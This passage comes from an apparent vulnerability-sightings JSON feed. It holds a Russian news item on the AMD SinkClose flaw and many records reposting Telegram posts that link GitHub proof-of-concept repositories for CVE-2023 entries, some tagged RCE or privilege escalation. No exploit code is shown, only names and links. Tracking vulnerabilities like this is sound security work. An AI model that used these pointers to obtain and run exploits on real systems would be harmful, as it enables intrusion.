\u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 20 \u043b\u0435\u0442 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0447\u0438\u043f\u043e\u0432 AMD.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 (Ring 0) \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 (SMM), \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 SMM. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. Ring 2 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u041e\u0421 \u0438 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u0432 \u041e\u0421.\n\n\u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0438\u0437\u0434\u0430\u043d\u0438\u044e Wired, \u0447\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0432\u0440\u0435\u0434, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SinkClose, \u2014 \u044d\u0442\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0426\u041f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0442\u043e\u0440\u0430 SPI Flash \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e AMD, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438:\n\n- EPYC 1-\u0433\u043e, 2-\u0433\u043e, 3-\u0433\u043e \u0438 4-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439;\n- EPYC Embedded 3000, 7002, 7003 \u0438 9003, R1000, R2000, 5000 \u0438 7000;\n- Ryzen Embedded V1000, V2000 \u0438 V3000;\n- Ryzen 3000, 5000, 4000, 7000 \u0438 8000 \u0441\u0435\u0440\u0438\u0439;\n- Ryzen 3000 Mobile, 5000 Mobile, 4000 Mobile \u0438 7000 Mobile \u0441\u0435\u0440\u0438\u0439;\n- Ryzen Threadripper 3000 \u0438 7000 \u0441\u0435\u0440\u0438\u0439;\n- AMD Threadripper PRO (Castle Peak WS SP3, Chagall WS);\n- AMD Athlon 3000 \u0441\u0435\u0440\u0438\u0438 Mobile (Dali, Pollock);\n- AMD Instinct MI300A.\n\nAMD \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC \u0438 AMD Ryzen, \u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435.\n\n\u0412\u0430\u0436\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u044d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-31315. \u0423\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 SinkClose \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 AMD \u0432 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f Wired. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 IOActive \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wired.com/story/amd-chip-sinkclose-flaw/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-28T00:00:43.752914Z"}, {"uuid": "8049402d-c550-432c-939d-7dc99b1bbc6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3106", "type": "seen", "source": "https://t.me/CVEhub/18334", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *linux-4.1.15_CVE-2023-3106*\nGithub: https://github.com/nidhi7598/linux-4.1.15_CVE-2023-3106", "creation_timestamp": "2026-07-29T12:00:09.917446Z"}, {"uuid": "1c8fc32a-8da2-4472-b815-0238546d2fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31435", "type": "seen", "source": "https://t.me/CVEhub/12033", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31435*\nGithub: https://github.com/trustcves/CVE-2023-31435", "creation_timestamp": "2026-07-29T12:00:34.392983Z"}, {"uuid": "9d33ad55-b355-4046-8a76-84c39062642a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31433", "type": "seen", "source": "https://t.me/CVEhub/12034", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31433*\nGithub: https://github.com/trustcves/CVE-2023-31433", "creation_timestamp": "2026-07-29T12:00:34.423083Z"}, {"uuid": "8d642cca-73b8-45f6-9a78-80a255f9d935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31753", "type": "seen", "source": "https://t.me/CVEhub/17368", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31753*\nGithub: https://github.com/khmk2k/CVE-2023-31753", "creation_timestamp": "2026-07-29T12:00:14.600857Z"}, {"uuid": "fcddb7c1-1af4-44ae-a5eb-5eacc92c1d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "seen", "source": "https://t.me/CVEhub/11757", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31445-Unprivileged-Information-Disclosure*\nGithub: https://github.com/Dodge-MPTC/CVE-2023-31445-Unprivileged-Information-Disclosure", "creation_timestamp": "2026-07-29T12:00:35.200030Z"}, {"uuid": "27d3c0cb-8601-4b55-a50d-8b10cec4f700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31852", "type": "seen", "source": "https://t.me/CVEhub/16999", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31852*\nGithub: https://github.com/CalfCrusher/CVE-2023-31852", "creation_timestamp": "2026-07-29T12:00:15.476831Z"}, {"uuid": "ec77cfa1-fdb2-497f-b2b2-dc471994f1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31853", "type": "seen", "source": "https://t.me/CVEhub/17000", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31853*\nGithub: https://github.com/CalfCrusher/CVE-2023-31853", "creation_timestamp": "2026-07-29T12:00:15.507725Z"}, {"uuid": "825b3370-dc5c-4c81-bf56-e686bf87dad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31851", "type": "seen", "source": "https://t.me/CVEhub/16998", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31851*\nGithub: https://github.com/CalfCrusher/CVE-2023-31851", "creation_timestamp": "2026-07-29T12:00:15.567809Z"}, {"uuid": "1528b5bb-f6ff-4cef-979a-3409392e7a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31704", "type": "seen", "source": "https://t.me/CVEhub/16908", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31704*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31704", "creation_timestamp": "2026-07-29T12:00:15.691571Z"}, {"uuid": "16c16f86-f82b-43ae-af1a-a28136428e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31705", "type": "seen", "source": "https://t.me/CVEhub/16909", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31705*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31705", "creation_timestamp": "2026-07-29T12:00:15.722534Z"}, {"uuid": "31640145-96ac-448c-9ef3-57e321c833c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3163", "type": "seen", "source": "https://t.me/CVEhub/14672", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2023-3163-SQL-Injection-Prevention*\nGithub: https://github.com/George0Papasotiriou/CVE-2023-3163-SQL-Injection-Prevention", "creation_timestamp": "2026-07-29T12:00:25.370828Z"}, {"uuid": "745c4b35-8c80-4375-af5d-c40aaf9a5300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31606", "type": "seen", "source": "https://t.me/CVEhub/14254", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31606*\nGithub: https://github.com/e23e/CVE-2023-31606", "creation_timestamp": "2026-07-29T12:00:26.508422Z"}, {"uuid": "f630bad4-c75e-4aa8-9762-2409f96bec3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31541", "type": "seen", "source": "https://t.me/CVEhub/14727", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31541*\nGithub: https://github.com/DreamD2v/CVE-2023-31541", "creation_timestamp": "2026-07-29T12:00:25.154890Z"}, {"uuid": "9a9ccdd5-8359-417d-aabe-6342b93c5d90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31711", "type": "seen", "source": "https://t.me/CVEhub/14083", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31711*\nGithub: https://github.com/HritikThapa7/CVE-2023-31711", "creation_timestamp": "2026-07-29T12:00:27.261445Z"}, {"uuid": "b7fcd071-bfad-4c1f-b393-0d947e07c69d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31747", "type": "seen", "source": "https://t.me/CVEhub/13644", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31747_filmora-unquoted*\nGithub: https://github.com/msd0pe-1/CVE-2023-31747_filmora-unquoted", "creation_timestamp": "2026-07-29T12:00:29.907689Z"}, {"uuid": "4d83af70-ae8f-4459-aade-2314b76e92e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "seen", "source": "https://t.me/CVEhub/13542", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31779*\nGithub: https://github.com/jet-pentest/CVE-2023-31779", "creation_timestamp": "2026-07-29T12:00:30.204955Z"}, {"uuid": "d44c60e5-0b6f-4db3-b1b8-fe1c8cd7b007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31726", "type": "seen", "source": "https://t.me/CVEhub/13527", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31726*\nGithub: https://github.com/J6451/CVE-2023-31726", "creation_timestamp": "2026-07-29T12:00:30.388018Z"}, {"uuid": "73a20574-4f97-4d16-8ee2-3d30c650b95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "seen", "source": "https://t.me/CVEhub/13247", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31664*\nGithub: https://github.com/adilkhan7/CVE-2023-31664", "creation_timestamp": "2026-07-29T12:00:30.609571Z"}, {"uuid": "0b034030-3387-4dcc-be6e-fcbb3fa2734a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31594", "type": "seen", "source": "https://t.me/CVEhub/13605", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31594*\nGithub: https://github.com/Yozarseef95/CVE-2023-31594", "creation_timestamp": "2026-07-29T12:00:30.034094Z"}, {"uuid": "143c4eb1-88c1-47eb-aa80-e14d9343650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31595", "type": "seen", "source": "https://t.me/CVEhub/13610", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31595*\nGithub: https://github.com/Yozarseef95/CVE-2023-31595", "creation_timestamp": "2026-07-29T12:00:30.062830Z"}, {"uuid": "013da505-65af-4324-989c-d54d0402243e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31634", "type": "seen", "source": "https://t.me/CVEhub/13251", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31634*\nGithub: https://github.com/XC9409/CVE-2023-31634", "creation_timestamp": "2026-07-29T12:00:30.566608Z"}, {"uuid": "ef0f16c2-103d-4dc3-9e66-6718763af7a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "seen", "source": "https://t.me/CVEhub/13329", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/2019000102494/CVE-2023-31702", "creation_timestamp": "2026-07-29T12:00:30.587910Z"}, {"uuid": "a1056e1c-e6d7-4cec-980f-9503cab7afde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "seen", "source": "https://t.me/CVEhub/13126", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31584*\nGithub: https://github.com/rootd4ddy/CVE-2023-31584", "creation_timestamp": "2026-07-29T12:00:30.794614Z"}, {"uuid": "62b0c4b7-2171-4afb-859c-1f0f893d90f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "seen", "source": "https://t.me/CVEhub/13064", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31703*\nGithub: https://github.com/sahiloj/CVE-2023-31703", "creation_timestamp": "2026-07-29T12:00:30.983668Z"}, {"uuid": "e2e580fc-e898-4a1a-833e-edbd6bf11760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "seen", "source": "https://t.me/CVEhub/13065", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/sahiloj/CVE-2023-31702", "creation_timestamp": "2026-07-29T12:00:31.007594Z"}, {"uuid": "bce6f241-f373-4bc5-8fd4-b4a63780f15e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31503", "type": "seen", "source": "https://t.me/CVEhub/12805", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2023-31503*\nGithub: https://github.com/ViCrack/CVE-2023-31503", "creation_timestamp": "2026-07-29T12:00:31.391974Z"}, {"uuid": "b3857041-9fbf-44fa-b6a0-db2b4d6bbe57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31434", "type": "seen", "source": "https://t.me/CVEhub/12035", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31434*\nGithub: https://github.com/trustcves/CVE-2023-31434", "creation_timestamp": "2026-07-29T12:00:34.297351Z"}, {"uuid": "9033fe75-108d-4d9a-8bef-29452a57f865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31443", "type": "seen", "source": "https://t.me/CVEhub/11777", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31443*\nGithub: https://github.com/MaherAzzouzi/CVE-2023-31443", "creation_timestamp": "2026-07-29T12:00:35.082873Z"}, {"uuid": "765b642a-6aab-4fb1-8fd9-9da1112c7d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/reverseame/3583", "content": "CVE-2023-31248 PoC  https://github.com/kungfulon/nf-tables-lpe/tree/master/chain-active", "creation_timestamp": "2026-07-29T12:02:28.105688Z"}, {"uuid": "2cb7958f-3308-4b13-b766-40de4d629685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/reverseame/3977", "content": "nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248) https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation/", "creation_timestamp": "2026-07-29T12:02:23.106296Z"}, {"uuid": "56d3f12b-63be-4e11-b7cb-ce5216b67d1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "seen", "source": "https://t.me/reverseame/3432", "content": "CVE-2023-31070 Broadcom BCM47xx SDK EMF slab-out-of-bounds write - the uncomfortable reality of the IoT Linux kernel space https://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write/", "creation_timestamp": "2026-07-29T12:02:29.033028Z"}, {"uuid": "22ed4436-ec83-41c6-ad1b-009f78386ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:08.521384Z"}, {"uuid": "fbdd5d4b-0887-4eb2-a0d1-a81b6d646935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31753", "type": "seen", "source": "https://t.me/CVEhub/17368", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31753*\nGithub: https://github.com/khmk2k/CVE-2023-31753", "creation_timestamp": "2026-07-30T00:00:33.166278Z"}, {"uuid": "28f090d2-50b4-4031-a063-5144c7aa623c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31852", "type": "seen", "source": "https://t.me/CVEhub/16999", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31852*\nGithub: https://github.com/CalfCrusher/CVE-2023-31852", "creation_timestamp": "2026-07-30T00:00:34.510804Z"}, {"uuid": "17dddfb9-126f-4755-98cd-b2fa4396c1fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31853", "type": "seen", "source": "https://t.me/CVEhub/17000", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31853*\nGithub: https://github.com/CalfCrusher/CVE-2023-31853", "creation_timestamp": "2026-07-30T00:00:34.563294Z"}, {"uuid": "ca844c2d-6b7e-43c9-bfe3-2082c0eae287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31704", "type": "seen", "source": "https://t.me/CVEhub/16908", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31704*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31704", "creation_timestamp": "2026-07-30T00:00:34.851149Z"}, {"uuid": "d8f25d33-1db3-4a03-b2b7-e861789bfe3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31705", 